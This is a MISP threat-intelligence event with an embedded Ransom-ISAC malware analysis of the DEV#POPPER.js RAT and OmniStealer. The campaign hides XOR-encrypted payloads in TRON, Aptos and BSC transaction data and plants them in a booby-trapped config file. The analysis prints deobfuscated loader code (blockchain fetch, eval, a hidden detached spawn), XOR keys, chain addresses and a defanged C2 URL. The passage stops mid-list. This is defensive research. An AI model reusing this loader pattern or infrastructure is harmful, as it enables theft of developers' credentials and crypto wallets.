{
  "Event": {
    "analysis": "0",
    "date": "2025-10-29",
    "extends_uuid": "",
    "info": "XCTDH Crypto Heist Part 1 - Ellis Stannard",
    "publish_timestamp": "1761834664",
    "published": true,
    "threat_level_id": "4",
    "timestamp": "1761832917",
    "uuid": "7cd52cc4-93f7-477f-ba7c-7f9d0ea67ea9",
    "Orgc": {
      "name": "Ransom-ISAC",
      "uuid": "36896069-60d2-49af-b5b2-56ce09b5f70d"
    },
    "Tag": [
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:target-information=\"North Korea\"",
        "relationship_type": ""
      },
      {
        "colour": "#053a00",
        "local": true,
        "name": "misp-galaxy:mitre-attack-pattern=\"Compromise Software Supply Chain - T1195.002\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": true,
        "name": "misp-galaxy:mitre-attack-pattern=\"Drive-by Compromise - T1189\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"JavaScript - T1059.007\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Phishing - T1566\"",
        "relationship_type": ""
      },
      {
        "colour": "#004646",
        "local": false,
        "name": "type:OSINT",
        "relationship_type": ""
      },
      {
        "colour": "#0071c3",
        "local": false,
        "name": "osint:lifetime=\"perpetual\"",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:white",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:clear",
        "relationship_type": ""
      }
    ],
    "Attribute": [
      {
        "category": "Payload delivery",
        "comment": "tailwind.config.js",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1761758384",
        "to_ids": false,
        "type": "sha256",
        "uuid": "dfa351da-f98c-4cd1-8716-ed57140d2f85",
        "value": "16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8"
      }
    ],
    "Object": [
      {
        "comment": "16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8: Enriched via the virustotal_public module",
        "deleted": false,
        "description": "VirusTotal report",
        "meta-category": "misc",
        "name": "virustotal-report",
        "template_uuid": "d7dd0154-e04f-4c34-a2fb-79f3a3a52aa4",
        "template_version": "5",
        "timestamp": "1761832841",
        "uuid": "a4508bc3-ad78-4714-b661-dc3361a9a65c",
        "Attribute": [
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "object_relation": "permalink",
            "timestamp": "1761832841",
            "to_ids": false,
            "type": "link",
            "uuid": "d4669f0c-360d-4fcc-9c96-21753ded1e7f",
            "value": "https://www.virustotal.com/gui/file/16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "object_relation": "detection-ratio",
            "timestamp": "1761832841",
            "to_ids": false,
            "type": "text",
            "uuid": "e75e1d08-f148-40ed-92c7-beae2c93d013",
            "value": "1/63"
          }
        ]
      },
      {
        "comment": "16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8: Enriched via the virustotal_public module",
        "deleted": false,
        "description": "File object describing a file with meta-information",
        "meta-category": "file",
        "name": "file",
        "template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
        "template_version": "25",
        "timestamp": "1761832841",
        "uuid": "5e516ed1-29e6-4e1b-96aa-8d7327d15a30",
        "Attribute": [
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "md5",
            "timestamp": "1761832841",
            "to_ids": true,
            "type": "md5",
            "uuid": "5fa407f7-9016-46d0-99f7-63994cd0b0b1",
            "value": "3c7f67c9e9e7d2544ca2b13a5e056364"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "sha1",
            "timestamp": "1761832841",
            "to_ids": true,
            "type": "sha1",
            "uuid": "36ecb4ca-41af-48d2-a7bf-660c0c06e578",
            "value": "6a0924059b85041026c9e5d0ad90c29d920b6ac0"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "sha256",
            "timestamp": "1761832841",
            "to_ids": true,
            "type": "sha256",
            "uuid": "b7576a2d-5884-4ba5-a3c1-d39a8dc90aec",
            "value": "16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "tlsh",
            "timestamp": "1761832841",
            "to_ids": true,
            "type": "tlsh",
            "uuid": "68055ba3-676f-4664-a94a-04cdb5d4389e",
            "value": "t1e3a17b4a63577c9e010989d8225f43574ca6af50645dece0bffecc800fcc2bd20e6609"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "vhash",
            "timestamp": "1761832841",
            "to_ids": true,
            "type": "vhash",
            "uuid": "bacda078-3a42-4fd5-a9e1-10f4a1a77a9e",
            "value": "b0d4eefb9b1cc5bd19ce3d3fb1a21eff"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "ssdeep",
            "timestamp": "1761832841",
            "to_ids": true,
            "type": "ssdeep",
            "uuid": "99890f95-0385-404d-978f-2008edf72d2d",
            "value": "96:JJ06ybpZqpEMALkn1KuOSDobqxNgt3LUyNzScqcQNI/:z0tMEMA4n1HOTsy9NzScqvi/"
          }
        ]
      },
      {
        "comment": "",
        "deleted": false,
        "description": "Report object to describe a report along with its metadata.",
        "meta-category": "misc",
        "name": "report",
        "template_uuid": "70a68471-df22-4e3f-aa1a-5a3be19f82df",
        "template_version": "8",
        "timestamp": "1761832904",
        "uuid": "fc275159-84fd-43a7-b420-5f19ca430295",
        "Attribute": [
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "link",
            "timestamp": "1761832904",
            "to_ids": false,
            "type": "link",
            "uuid": "0bacdae1-a8fb-44f6-8924-bd266d0a6ff8",
            "value": "https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "summary",
            "timestamp": "1761832904",
            "to_ids": false,
            "type": "text",
            "uuid": "b9d50a1c-0e43-493f-96f9-47da84f65d0f",
            "value": "Detailed analysis of the DEV#POPPER.js RAT and OmniStealer malware used in the sophisticated cross-chain attack campaign, revealing the complete kill chain from initial compromise through data exfiltration."
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "title",
            "timestamp": "1761832904",
            "to_ids": false,
            "type": "text",
            "uuid": "9008d77a-c4c4-4d49-8de5-81be2fb2191c",
            "value": "Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 2)"
          }
        ]
      }
    ],
    "EventReport": [
      {
        "name": "Report",
        "content": "https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/",
        "id": "1951",
        "event_id": "367807",
        "timestamp": "1761760298",
        "deleted": true,
        "uuid": "c06c2353-2340-4a97-a761-cc788c5ff096"
      },
      {
        "name": "Report from - https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/ (1761760515)",
        "content": "Skip to main content\n\nBack to Blog\n\nThreat Intelligence60 min readOctober 27, 2025\n\nReverse EngineeringDFIRMalware AnalysisBlockchain\n\n# Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 2)\n\nDetailed analysis of the DEV#POPPER.js RAT and OmniStealer malware used in the sophisticated cross-chain attack campaign, revealing the complete kill chain from initial compromise through data exfiltration.\n\nEllis Stannard\n\nContributors: Fran\u00e7ois-Julien Alcaraz, Nick Smart, Yashraj Solanki, Joshua Penny, Michael Minarovic, Tammy Harper\n\nShare:\n\nFollowing our initial discovery of the Cross-Chain TxDataHiding technique in Part 1, our investigation into the weaponised repository revealed a sophisticated multi-stage attack chain.\n\nIn September 2025, Ransom-ISAC was brought in by Crystal Intelligence's Fran\u00e7ois-Julien Alcaraz and Nick Smart to investigate a cryptocurrency and data theft attempt via a private weaponised GitHub repository. What initially appeared to be a standard phishing campaign quickly evolved into something far more sophisticated\u2014a multi-layered attack leveraging novel blockchain-based command-and-control infrastructure and cross-platform malware designed to compromise development environments at scale.\n\nAt the heart of this operation lies a JavaScript-based Remote Access Trojan that we've identified as a variant of the DEV#POPPER malware family, which we're calling **DEV#POPPER.js**.\n\nWhat makes this campaign particularly concerning is its cross-platform reach and dual-payload architecture. DEV#POPPER.js operates on any device capable of running JavaScript\u2014whether Unix, macOS, or Windows\u2014making it a universal threat to development environments regardless of operating system. The RAT provides full Remote Code Execution (RCE) capabilities, allowing attackers to establish persistent access, execute arbitrary commands, and deploy additional malicious components.\n\nThe second stage of the attack introduces a Python-based stealer we've designated **OmniStealer**, which lives up to its name by exfiltrating virtually everything of value. This includes cryptocurrency wallets, private keys, browser credentials, development environment secrets, and sensitive source code. The targeting patterns and operational priorities strongly suggest attribution to DPRK-affiliated threat actors, consistent with their documented focus on cryptocurrency theft for sanctions evasion and technology transfer operations.\n\nIn this part of our series, we'll dissect the complete kill chain from initial compromise through data exfiltration, examine the technical mechamnisms enabling cross-platform execution, and explore how DEV#POPPER.js and OmniStealer work in tandem to achieve comprehensive system compromise. Understanding this attack flow is critical for organisations to implement effective detection and prevention strategies against this emerging threat.\n\n# How it Works\n\nHiding malicious payloads within blockchain data is now a sophisticated obfuscation method used by modern threat actors. The landscape of these techniques can be divided into two primary categories based on where the malicious data resides within the blockchain infrastructure.\n\nThe first category involves **Smart Contract Storage-based Hiding**, exemplified by **Etherhiding**. This technique stores malicious payloads directly within Ethereum smart contract storage slots, which are retrieved through contract read operations such as `eth_call` or `eth_getStorageAt`. The payload becomes part of the contract's persistent state, making it immutable and decentralised once deployed on the blockchain.\n\nThe second and more versatile category is **Transaction Data Hiding**, or **TxDataHiding** for short. Unlike smart contract storage methods, TxDataHiding embeds malicious payloads within the input data (calldata) of blockchain transactions themselves. These payloads are retrieved by querying historical transaction data using methods like `eth_getTransactionByHash`. This approach is more flexible because it doesn't require deploying a smart contract\u2014the malicious data simply lives within the immutable transaction history recorded on the blockchain. TxDataHiding includes several chain-specific variants, including **TronHiding** (TRON transaction data), **AptosHiding** (Aptos transaction arguments), and **BinHiding** (Binance Smart Chain transaction input data).\n\nThe most advanced evolution of this technique is **Cross-Chain TxDataHiding**, which leverages multiple blockchain networks in a coordinated attack chain. In this sophisticated variant, one blockchain acts as an index or pointer system (typically TRON or Aptos), storing a reference to a transaction hash on a second blockchain (typically BSC). The malware first queries the index chain to retrieve this pointer, then uses it to fetch the actual encrypted payload from the payload chain's transaction data. Finally, the retrieved data is decrypted using XOR or similar algorithms to reveal the executable malicious code. This multi-chain approach significantly increases resilience against takedown efforts, as the attack infrastructure spans multiple decentralised networks with different governance structures and geographic distributions. The cross-chain methodology also provides built-in redundancy through multiple fallback nodes and alternative blockchain paths, making detection and mitigation substantially more challenging for security teams.\n\n## Cross-Chain Transaction Data Hiding (XCTDH): Recap\n\nHiding malicious payloads within blockchain data has become an emerging obfuscation technique. The landscape includes several distinct approaches:\n\nXCTDH uses multiple blockchains in sequence: TRON or Aptos transactions store a BSC transaction hash within their transaction data fields (`raw_data.data` for TRON, `payload.arguments[0]` for Aptos). Malware first queries TRON/Aptos to retrieve this hash, then uses `eth_getTransactionByHash` on BSC to extract the encrypted payload. This two-stage, cross-blockchain retrieval system provides resilience through distributed infrastructure.\n\nExample: In one of the payloads, we see a query to get the transactions of a TRON wallet address, from which we can extract the latest transaction data from Trongrid.io:\n\n```\nhttps://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions?only_confirmed=true&only_from=true&limit=1\n```\n\nWhich returns this:\n\n```\n{\"data\":[{\"ret\":[{\"contractRet\":\"SUCCESS\",\"fee\":1333000}],\"signature\":[\"28dfdd895872826639d5419a4b84a678d1e2494f0a5b6e132d55a40e46498d6b1157e588dda3b72a86076fb0be7b8c09c01d3d674101ed9a0bbcf0aa28c7f28b1b\"],\"txID\":\"f3c46284d1f89f33427b332a7b9357165a3d55a2b3a74f9d9b977b9673ad7c60\",\"net_usage\":0,\"raw_data_hex\":\"0a021f802208ea21b4e4dc22dec740b095c3869a3352426366393164343963666630643333326438396339366162343565633365663931356338336237326338613134383466353139396662623638386336386336346678305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541803f5d3cc635e5ac3c96c86a6cbe98c9eda82e661215410000000000000000000000000000000000000000180170d0c0bf869a33\",\"net_fee\":333000,\"energy_usage\":0,\"blockNumber\":76226434,\"block_timestamp\":1759339608000,\"energy_fee\":0,\"energy_usage_total\":0,\"raw_data\":{\"data\":\"636639316434396366663064333332643839633936616234356563336566393135633833623732633861313438346635313939666262363838633638633634667830\",\"contract\":[{\"parameter\":{\"value\":{\"amount\":1,\"owner_address\":\"41803f5d3cc635e5ac3c96c86a6cbe98c9eda82e66\",\"to_address\":\"410000000000000000000000000000000000000000\"},\"type_url\":\"type.googleapis.com/protocol.TransferContract\"},\"type\":\"TransferContract\"}],\"ref_block_bytes\":\"1f80\",\"ref_block_hash\":\"ea21b4e4dc22dec7\",\"expiration\":1759339662000,\"timestamp\":1759339602000},\"internal_transactions\":[]}],\"success\":true,\"meta\":{\"at\":1760793584774,\"fingerprint\":\"2NgPQPX6b8trTFg794AmwhsxTf2usY7cRJN6Q9FiFggG3r6pBdcERDF5WEw567LcGBFw3AkQc1NbwCWJazFS6XVBsJh8idqeSh9b5k4MtyUDDUVuYdECEB3kXMyV7DE6WtEr5znaqMPrpaMiwt5sgGAwh7WMDb7Qywfu3jDuMvqFXkVQnaUJ5QYQE12bJ8gdRF9vmpX5yXBeke3MckRMmgmV9Gn\",\"links\":{\"next\":\"https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions?limit=1&only_confirmed=true&only_from=true&fingerprint=2NgPQPX6b8trTFg794AmwhsxTf2usY7cRJN6Q9FiFggG3r6pBdcERDF5WEw567LcGBFw3AkQc1NbwCWJazFS6XVBsJh8idqeSh9b5k4MtyUDDUVuYdECEB3kXMyV7DE6WtEr5znaqMPrpaMiwt5sgGAwh7WMDb7Qywfu3jDuMvqFXkVQnaUJ5QYQE12bJ8gdRF9vmpX5yXBeke3MckRMmgmV9Gn\"},\"page_size\":1}}\n```\n\nWhat we are interested in here is the response.data[0].raw\\_data.data value:\n\n```\n636639316434396366663064333332643839633936616234356563336566393135633833623732633861313438346635313939666262363838633638633634667830\n```\n\nNow in our case, this needs to be decoded from Hex to UTF-8 then reversed to extract the BSC transaction hash. You can script this or use this CyberChef recipe:\n\n```\n0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\n```\n\nNow that the code has retrieved the BSC Transaction hash, it can initiate `eth_getTransactionByHash` to get the TxData.\n\n```\n// Query BSC with the extracted hash\nPOST https://bsc-dataseed.binance.org\n\nBody:\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"eth_getTransactionByHash\",\n  \"params\": [\"0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\"],\n  \"id\": 1\n}\n```\n\nFetched it looks like this:\n\nIn our case, this is heavily character swapped and XOR-encoded, which leads to other heavily obfuscated JS-based payloads which we will discuss later in this report.\n\nIt performs this call because BSC copied Ethereum's API for compatibility. Even though the method name includes \"eth\\_\", it queries BSC, not Ethereum. This is not extracting data from Ethereum-based Smart Contracts, therefore this is not Etherhiding.\n\n### Key Distinction:\n\n* **Etherhiding** = Smart contract **storage-based**\n* **TxDataHiding** = Transaction **data-based**\n* **Cross-Chain TxDataHiding** = Multi-blockchain **indexing system**\n\n## Recap: The Cross-Chain Attack Flow\n\nAs detailed in Part 1, the attack operates through a sophisticated 10-stage process that exploits blockchain infrastructure for command-and-control (C2). The malicious JavaScript executes an obfuscated Immediately Invoked Function Expression (IIFE), which employs custom character-shuffling algorithms to deobfuscate strings containing blockchain addresses and XOR keys. The malware then queries the TRON blockchain (in our example above \"0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\"), with Aptos as fallback, to retrieve an index pointing to a BSC transaction hash contained in the TRON transaction hash `raw_data.data` field, which is then used to call `eth_getTransactionByHash` on BSC RPC nodes (primary node first, backup node on failure), extracting the transaction input field containing the encrypted payload. After XOR decryption, the first payload executes immediately via `eval()`, whilst a second payload is retrieved through the same blockchain query cycle and spawns as a detached background process for persistence. This multi-chain architecture\u2014leveraging TRON/Aptos for indexing and BSC for payload storage\u2014combined with multiple node fallbacks and immutable blockchain storage, creates a remarkably resilient C2 infrastructure that's exceptionally difficult to disrupt or attribute.\n\n# Full Attack Chain\n\nHere is a high-level overview of this attack end-to-end:\n\n1. In our case, this was an attempt via Telegram of a Social Engineering attack. However there are other reports of the same vector using a GitHub Dependency Attack.\n2. GitHub Repository is cloned/installed after collaboration and runs locally on the user's device to execute.\n3. Obfuscated malware contains two payloads via Cross-Chain TxDataHiding.\n4. One contains obfuscated malware for another JS stager acting as a loader via Cross-Chain TxDataHiding.\n   1. This then downloads a ~2,500-line obfuscated code which is near impossible to deobfuscate manually.\n   2. Using an online JS deobfuscator allows us to get the code clearer to show an omni-OS NodeJS-based Remote Access Trojan capable of Remote Code Execution (RCE), appearing to be a variant of the DEV#POPPER campaign.\n5. One obfuscated payload fetches data via hxxp://23[.]27[.]20[.]143:27017/$/boot using custom headers to download telemetry capture and malware stager code\u2014another ~2,500-line obfuscated script.\n   1. This is a downloader of Python, 7Zip and a payload named z1.\n   2. In order to get the Z1 payload, the device must be registered by sending telemetry data back to both C2 channels via the DEV#POPPER RAT first, then the downloader. After which we can fetch Z1.\n6. Z1 Deobfuscated, is python-based smash-and-grab code used to exfiltrate virtually everything on the device\u2014hard-coded C2 endpoints, wallet addresses/passwords, browser credentials/cookies, and local password vaults. It is for this reason we call **OmniStealer.**\n\n# Payload Download\n\n## Social Engineering (DPRK IT Worker Developer Campaign)\n\nThe DPRK are now targeting developers with fake job postings on LinkedIn, similar reports of this include DeceptiveDevelopment, reported in September 2025, utilising the ClickFix campaign, as well as the notorious Lazarus' Operation DreamJob in 2023 which trojanised codebases during staged job interviews.\n\nThe threat actor reached out to the target requesting they support them on a Blockchain-based project hiring for a role with their relevant expertise at a very generous daily rate of remuneration. Soon after, there was a request by the Threat Actor to switch over to Telegram to discuss the role and arrangements in more detail. This led to an initial interview and a review of the code that was sent over, in which there were observations of having unnecessary libraries and work related to secret or proprietary work that likely should not have been provided to the potential employer at that point in time. There were some other observations which aroused suspicion.\n\nThis of course led to the invitation to collaborate with the GitHub user on their project and run the malicious code:\n\nAt this stage, we knew this was not a legitimate job posting and set-up a honeypot to investigate.\n\nThe URL from which the payload is downloaded from via Telegram is the following:\n\n```\nhttps[:]//github[.]com/isasmallbit/store-v\n```\n\n## Second Attack Vector\n\nOur specific payload is logged to the threat actor via HTTP header values as `Sec-V: 0`. We have assessed that 'Sec-V' likely represents the 'Store-V' repository above and value '0' is marked for Telegram seeing as this was our attack vector via Invitation to collaborate on a Private repository.\n\nHowever, there was also `Sec-V: A` as an option from the script which we assess is likely a Dependency-based attack, which makes sense as there have been multiple reports of similar cases of dependency-based attacks.\n\nWhen searching for the initial payload (see below), some of the key parameters to search for across your local device in strings are: `\"global['_V']\" AND \"global['r']\"`\n\nLooking at GitHub for repositories of this (during the time of writing), we observe that there are 62 matches, all containing filenames that were previously reported by external sources, such as tailwind.config.js and next.config.mjs.\n\nAs these are all public, it is very likely that these are dependency-based attacks or low-hanging fruit for unsuspecting developers to utilise to improve their day-to-day work. Most of these are associated with NodeJS or Web3 and BlockChain-related code.This selection of modules makes sense for the motivation of the campaign appears to be ifinancial theft using cryptocurrency. Case inpoint would include:\n\nSource: https://github.com/shrishail356/w3chat.io\n\n# Payload 1 (Initial Multi-Payload Stager)\n\nSHA256 Hash: `16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8`\n\nWhilst the hunting was not an easy feat given there were tens of thousands of files within this repository, the typical sanity checks such as YARA scanning and IOC hunting helped us narrow down the list. Interestingly the file was actually tucked away similar to the DevPopper Technique reported by Securonix:\n\nOur file was found under `Store-V/Front-End/Tailwind.config.js` in comparison to our target, which is also tucked out of the way:\n\n## Obfuscation\n\nThe code itself is so well obfuscated that whilst investigating (at the time of writing this), most of the payloads gathered were not flagged as malware on VirusTotal or other Antivirus engines. In our case this first one was luckily:\n\nhttps://www.virustotal.com/gui/file/16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8/behavior\n\nThe key to deobfuscation is to replace any eval() values which are used to execute with console.log(). As there is a function that anonymises the final output, the real code we are interested in is one of the var values which we must console.log to find our final value, and we find this through the value of Xkl, truncated for writeup purposes:\n\n```\n[SCRIPT LOG] Xkl is\nvar _$_2d00 = (_$af402041)(\"e%hSd%tds...[obfuscated]\", 3412038);\n\nfunction _$af402041(a, k) {\n    // Deobfuscation: character shuffling algorithm\n    var n = [];\n    for (var u = 0; u < a.length; u++) {\n        // Swap characters based on key\n        var f = k * (u + 452) + (k % 12788);\n        var m = k * (u + 404) + (k % 13497);\n        // ... swapping logic\n    };\n    return n.join('').split('%')... // Reconstruct string\n}\n\n(async () => {\n    // Fetch decryption key from blockchain (Tron/Aptos)\n    async function t(key, tronAddr, aptosAddr) {\n        let r = /* fetch from blockchain API */;\n        let n = /* JSON-RPC call */;\n        // XOR decrypt payload\n        return xorDecrypt(n, key);\n    }\n\n    // Fetch and execute malicious payload\n    const payload = await t(key, addr1, addr2);\n    eval(payload);\n\n    // Spawn persistent process\n    child_process.spawn('node', ['-e', code + payload], {detached: true});\n})()\n```\n\nWhat does the value of `_$_2d00` equate to? Well we can simply run `console.log(_$_2d00);` to find out:\n\n```\n[\n  'r',\n  'end',\n  'error',\n  'on',\n  '',\n  'data',\n  'parse',\n  'JSON',\n  'get',\n  'https',\n  'Promise',\n  '2.0',\n  'stringify',\n  'POST',\n  'request',\n  'write',\n  'join',\n  'reverse',\n  'split',\n  'utf8',\n  'toString',\n  'raw_data',\n  '/transactions?only_confirmed=true&only_from=true&limit=1',\n  'hex',\n  'from',\n  'Buffer',\n  'arguments',\n  'payload',\n  '/transactions?limit=1',\n  '?.?',\n  'substring',\n  'input',\n  'result',\n  'eth_getTransactionByHash',\n  'bsc-dataseed.binance.org',\n  'bsc-rpc.publicnode.com',\n  'length',\n  'charCodeAt',\n  'fromCharCode',\n  'String',\n  '2[gWfGj;<:-93Z^C',\n  'TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP',\n  '0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e',\n  'm6:tTh^D)cBz?NM]',\n  'TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG',\n  '0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3',\n  'node',\n  '-e',\n  '_V',\n  \"';\",\n  'ignore',\n  'spawn',\n  'child_process'\n]\n```\n\nAs you can see here it is an array. Now the array is referenced all throughout the code, so all that's needed is to replace values of `_$_2d00[n]` with the appropriate value above which is very straightforward to script. This is all documented in dedicated GitHub repository.\n\n## Payload Retrieval Summary\n\nUpon deobfuscating, this is what is uncovered:\n\nThis payload uses Cross-Chain TxDataHiding as discussed in the previous section. This actually had two sets of API calls to the following feeds, which meant two payloads:\n\n### Payload 1:\n\n* **XOR Key:** `'2[gWfGj;<:-93Z^C'`\n* **Fetch Chain:**\n  1. Tron: `TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP` \u2192 extracts transaction data, reverses it\n  2. Fallback - Aptos: `0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e` \u2192 extracts from arguments[0]\n  3. Uses retrieved hash to query BSC: `bsc-dataseed.binance.org` \u2192 `eth_getTransactionByHash`\n  4. Fallback BSC: `bsc-rpc.publicnode.com`\n  5. Extracts from transaction input, splits on `'?.?'`, then takes the second part [1]\n  6. XOR decrypts and **immediately executes via eval()**\n\n### Payload 2:\n\n* **XOR Key:** `'m6:tTh^D)cBz?NM]'`\n* **Fetch Chain:**\n  1. Tron: `TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG` \u2192 extracts transaction data, reverses it\n  2. Fallback - Aptos: `0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3` \u2192 extracts from arguments[0]\n  3. Uses retrieved hash to query BSC: `bsc-dataseed.binance.org` \u2192 `eth_getTransactionByHash`\n  4. Fallback BSC: `bsc-rpc.publicnode.com`\n  5. Extracts from transaction input, splits on `'?.?'`, then takes the second part [1]\n  6. XOR decrypts and **spawns as detached child process with eval() fallback**\n\n## Hidden Processes & Stealth Techniques\n\n### Process Hiding:\n\n```\nd('child_process')['spawn']('node', ['-e', ...], {\n    detached: true,        // Runs independently, survives parent death\n    stdio: 'ignore',       // No stdin/stdout/stderr - invisible\n    windowsHide: true      // Hidden window on Windows\n})\n```\n\n### Obfuscation Methods:\n\n1. **String shuffling function** (`_$af402041`) - complex character permutation algorithm\n2. **Array-based string obfuscation** - all strings stored in `_$_2d00[]` array\n3. **Blockchain as data storage** - payloads hidden in transaction data (legitimate-looking traffic)\n4. **Multi-layer encoding:** Hex \u2192 Buffer \u2192 UTF8 \u2192 Reversed \u2192 XOR decryption\n\n### Anti-Debugging Techniques:\n\n**1. Dead code checks:**\n\n```\nif (!_$af402041) { return }  // Function existence checks\nif (!_$_2d00) { _$af402041 = 0; return }  // Variable checks\n```\n\nThese look like anti-tampering checks that bail out if the code is modified\n\n2. **Try-catch suppression:** All operations wrapped in `try-catch` blocks that silently fail - makes debugging harder\n3. **Async operations:** Everything is async, making step-through debugging more difficult\n4. **Multiple fallbacks:** If one method fails, it tries alternatives - analysts must trace all paths\n5. **Dynamic evaluation:** `eval()` makes static analysis impossible - code only reveals itself at runtime\n6. **No error messages:** All errors are caught and suppressed - no forensic information leaked\n\nThe example gives the BSC contract of: **0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc**\n\n**This then gives us the following: https://bscscan.com/tx/0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc**\n\nWhich then brings us to the malicious code which is both character-swapped and XOR encoded by a 15-character password:\n\nTo simulate the fetching of these next payloads, we ran a script PayloadFetcher.js which is in the GitHub repository, to effectively request Get requests, as well as simulate the XOR and character-shuffling capabilities, the logs were here:\n\n```\nStage 1: Initial Blockchain Query\nPayload 1 Fetch:\n\nTRON Address: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\nTRON API: https://api.trongrid.io/v1/accounts/{address}/transactions?only_confirmed=true&only_from=true&limit=1\nAptos Fallback: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\nAptos API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/{address}/transactions?limit=1\nXOR Key: 2[gWfGj;<:-93Z^C\n\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\n'0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc'\n\nPayload 2 Fetch:\n\nTRON Address: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\nTRON API: Same as above\nAptos Fallback: 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\nAptos API: Same as above\nXOR Key: m6:tTh^D)cBz?NM]\n\nStage 2: BSC Payload Retrieval\n\nPrimary BSC Node: bsc-dataseed.binance.org\nFallback BSC Node: bsc-rpc.publicnode.com\nMethod: eth_getTransactionByHash using the hash retrieved from Stage 1\nExtracts encrypted payload from transaction input data (after ?.? delimiter)\n\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\n'0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef'\n```\n\nThese were obfuscated with character rotation and XOR keys with 15 characters each; this led to two more obfuscated JS codes.\n\n# Payload1\\_1 (Payload Stager)\n\nSHA256: `ee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305`\n\n## Obfuscation\n\nThe obfuscation was identical to Payload1, so we will skip over the steps for this. The deobfuscation scripts and steps are in the GitHub Repository.\n\n## Payload Retrieval:\n\n**Single Payload (not two like previous sample):**\n\n* **XOR Key:** `'cA]2!+37v,-szeU}'`\n* **Deobfuscation Key:** `438651`\n\n**Fetch Chain:**\n\n1. **TRON:** `TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe` \u2192 extracts transaction data, reverses it\n2. **Fallback - Aptos:** `0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837` \u2192 extracts from arguments[0]\n3. **BSC Primary:** `bsc-dataseed.binance.org` \u2192 `eth_getTransactionByHash`\n4. **Fallback BSC:** `bsc-rpc.publicnode.com`\n5. Extracts from transaction input, splits on `'?.?'`, then takes the second part [1]\n6. **XOR decrypts and executes via eval()** (no spawn, single payload only)\n\n## Anti-Reversing Techniques:\n\n### Obfuscation Methods:\n\n1. String shuffling function (`_$af813180`) - mathematical character permutation\n2. Dynamic property access - `i['Promise']`, `u('https')['get']`\n3. Blockchain as data storage - payload(s) hidden in immutable transactions\n4. Multi-layer encoding: Hex \u2192 